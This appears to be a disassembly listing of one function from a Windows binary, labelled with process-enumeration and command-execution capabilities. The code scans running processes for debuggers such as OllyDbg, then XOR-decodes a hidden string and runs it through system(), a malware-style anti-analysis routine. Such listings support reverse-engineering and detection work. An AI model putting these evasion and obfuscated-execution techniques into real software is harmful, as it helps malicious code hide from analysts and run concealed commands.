Function at 0x140058bf0
Capabilities:
Enumerate processes
Execute command

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x278]
sub rsp, 0x378
mov dword [rbp + 0x2c0], 0
movabs rdi, 0x4e94914effff
movabs rsi, 0x431bde82d7b634db
movabs r14, 0x7fffffffffffffff
nop dword [rax + rax]
cmp byte [0x1409d4269], 0
je 0x140059159
lea rax, str.ollydbg.exe
mov qword [rbp + 0x2c8], rax
nop dword [rax + rax]
mov rdi, qword [rax]
mov dword [rbp + 0x30], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rbp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140058cb6
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x5c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
mov rcx, rbx
test eax, eax
je 0x140058dc4
lea rdx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140058c90
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x2c8]
add rax, 8
mov qword [rbp + 0x2c8], rax
lea rcx, [0x1408aede0]
cmp rax, rcx
jne 0x140058c60
call fcn.140094470
lea rcx, [0x14012cefc]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], 1
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, [rbp - 0x60]
call fcn.14004a080
mov r14d, dword [rbp + 0x2c0]
or r14d, 0xc
mov dword [rbp + 0x2c0], r14d
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.14006c870
test eax, eax
jne 0x140059233
lea rcx, [rbp - 0x60]
call fcn.1400673b0
mov rsi, qword [rsp + 0x48]
test rsi, rsi
je 0x140058d54
lock inc dword [rsi + 8]
mov rsi, qword [rsp + 0x48]
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x50], xmm0
test rsi, rsi
je 0x140058d6d
lock inc dword [rsi + 8]
mov rsi, qword [rsp + 0x48]
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
test rsi, rsi
je 0x140058ee5
mov eax, 0xffffffff
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x140058ee0
mov rbx, qword [rsp + 0x48]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140058ee0
mov rsi, qword [rsp + 0x48]
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x140058ee5
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbp + 0x38], 0
je 0x140058cbf
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm1, xmmword [0x140131860]
movdqu xmmword [rsp + 0x20], xmm1
mov cl, 1
mov dl, 0xa
mov r8b, reloc.WS2_32.dll_listen
mov r10b, reloc.WS2_32.dll_recvfrom
mov r11b, reloc.WLDAP32.dll_Ordinal_22
mov bl, 0x4c
mov dil, 7
mov sil, reloc.WLDAP32.dll_Ordinal_26
movzx r14d, dil
mov r15b, 0x42
mov r12b, Ordinal_79
mov r13b, 0x24
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rsp + 0x21], al
xor byte [rsp + 0x22], r9b
xor byte [rsp + 0x23], r9b
xor byte [rsp + 0x24], r9b
xor byte [rsp + 0x25], r9b
xor byte [rsp + 0x26], r9b
xor byte [rsp + 0x27], r9b
xor byte [rsp + 0x28], r9b
xor byte [rsp + 0x29], r9b
xor byte [rsp + 0x2a], r9b
xor byte [rsp + 0x2b], r9b
xor byte [rsp + 0x2c], r9b
xor byte [rsp + 0x2d], r9b
xor byte [rsp + 0x2e], r9b
xor byte [rsp + 0x2f], r9b
xor cl, r9b
mov byte [rsp + 0x30], cl
xor dl, r9b
mov byte [rsp + 0x31], dl
xor r8b, r9b
mov byte [rsp + 0x32], r8b
xor r10b, r9b
mov byte [rsp + 0x33], r10b
xor r11b, r9b
mov byte [rsp + 0x34], r11b
xor bl, r9b
mov byte [rsp + 0x35], bl
xor dil, r9b
mov byte [rsp + 0x36], dil
xor sil, r9b
mov byte [rsp + 0x37], sil
xor r14b, r9b
mov byte [rsp + 0x38], r14b
xor r15b, r9b
mov byte [rsp + 0x39], r15b
xor r12b, r9b
mov byte [rsp + 0x3a], r12b
xor r13b, r9b
mov byte [rsp + 0x3b], r13b
mov byte [rsp + 0x3c], 0
lea rcx, [rsp + 0x21]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140058cbf
mov rsi, qword [rsp + 0x48]
cmp qword [rsp + 0x40], 0
je 0x1400590bb
mov rax, qword [rsp + 0x50]
nop word [rax + rax]
lea rdi, [rax + 0x20]
mov rdx, rdi
lea rcx, [rbp - 0x10]
call fcn.14004b300
movsd xmm0, qword [rax]
movsd qword [rbp - 0x80], xmm0
mov edx, dword [rax + 8]
mov ecx, dword [rbp - 0x80]
test edx, edx
je 0x140058f31
lea eax, [rcx - 1]
test eax, 0xfffffff7
jne 0x1400591f5
cmp ecx, 2
jne 0x14005909b
mov rdx, rdi
lea rcx, [rbp]
call fcn.14004b300
movsd xmm0, qword [rax]
movsd qword [rbp - 0x70], xmm0
mov edx, dword [rax + 8]
mov ecx, dword [rbp - 0x70]
test edx, edx
je 0x140058f67
lea eax, [rcx - 1]
test eax, 0xfffffff7
jne 0x140059205
cmp ecx, 2
jne 0x140059056
mov rcx, rdi
cmp qword [rdi + 0x18], 7
jbe 0x140058f7d
mov rcx, qword [rdi]
mov rax, qword [rdi + 0x10]
lea r10, [rcx + rax*2]
mov rbx, r10
mov rdx, r10
call fcn.14004a1e0
cmp rax, r10
je 0x140058fcd
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x140058fa4
cmp cx, 0x2f
jne 0x140058fad
add rax, 2
cmp rax, r10
jne 0x140058f95
cmp rax, r10
je 0x140058fcd
lea rdx, [rbx - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x140058fcd
cmp cx, 0x2f
je 0x140058fcd
mov rbx, rdx
cmp rax, rdx
jne 0x140058fb2
mov r8d, Ordinal_60
mov rdx, r10
mov rcx, rbx
call fcn.140094ce0
cmp rbx, rax
je 0x14005901f
lea rcx, [rax - 2]
cmp rbx, rcx
je 0x14005901f
cmp word [rcx], 0x2e
jne 0x140059003
lea rdx, [rcx - 2]
cmp rbx, rdx
jne 0x140059022
cmp word [rdx], 0x2e
jne 0x140059022
jmp 0x14005901f
sub rcx, 2
cmp rbx, rcx
je 0x14005901f
nop dword [rax]
cmp word [rcx], 0x2e
je 0x140059022
sub rcx, 2
cmp rbx, rcx
jne 0x140059010
mov rcx, rax
mov qword [rsp + 0x70], rcx
sub rax, rcx
sar rax, 1
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x30]
call fcn.140073730
or r14d, 3
mov dword [rbp + 0x2c0], r14d
cmp qword [rbp - 0x20], 0
jne 0x140059056
mov bl, 1
jmp 0x140059058
xor bl, bl
test r14b, 1
je 0x140059072
and r14d, 0xfffffffe
mov dword [rbp + 0x2c0], r14d
lea rcx, [rbp - 0x30]
call fcn.1400673b0
test bl, bl
je 0x14005909b
mov rcx, rdi
cmp qword [rdi + 0x18], 7
jbe 0x140059083
mov rcx, qword [rdi]
call fcn.1400949e0
mov qword [rbp + 0x2c8], rax
shr rax, 0x20
test eax, eax
jne 0x140059215
lea rcx, [rsp + 0x50]
call fcn.14004af40
test eax, eax
jne 0x14005922b
mov rax, qword [rsp + 0x50]
test rax, rax
jne 0x140058f00
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140059100
mov eax, 0xffffffff
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x1400590fb
mov rbx, qword [rsp + 0x58]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400590fb
mov rcx, qword [rsp + 0x58]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rsi, qword [rsp + 0x48]
test rsi, rsi
je 0x14005913b
mov eax, 0xffffffff
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x14005913b
mov rbx, qword [rsp + 0x48]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14005913b
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
movabs r14, 0x7fffffffffffffff
movabs rsi, 0x431bde82d7b634db
movabs rdi, 0x4e94914effff
lea rcx, [rbp + 0x2d0]
call fcn.1400487a0
mov rax, qword [rbp + 0x2d0]
movabs rcx, 0x7fffffffc46535fe
cmp rax, rcx
lea rbx, [rax + 0x3b9aca00]
jle 0x140059190
mov rbx, r14
nop word [rax + rax]
lea rcx, [rbp + 0x2d8]
call fcn.1400487a0
mov rax, qword [rbp + 0x2d8]
cmp rbx, rax
je 0x140058c40
jl 0x140058c40
mov rcx, rbx
sub rcx, rax
cmp rcx, rdi
jg 0x1400591e9
mov rax, rsi
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x1400591e0
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x140059190
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x140059190
mov r8, rdi
lea rcx, [0x14012cf68]
call fcn.14004acf0
int3
mov r8, rdi
lea rcx, [0x14012cf68]
call fcn.14004acf0
int3
mov r8, rdi
mov edx, dword [rbp + 0x2cc]
lea rcx, [0x14012cf60]
call fcn.14004acf0
int3
mov edx, eax
call fcn.14004ac00
nop
lea r8, [rbp - 0x60]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.14004acf0
int3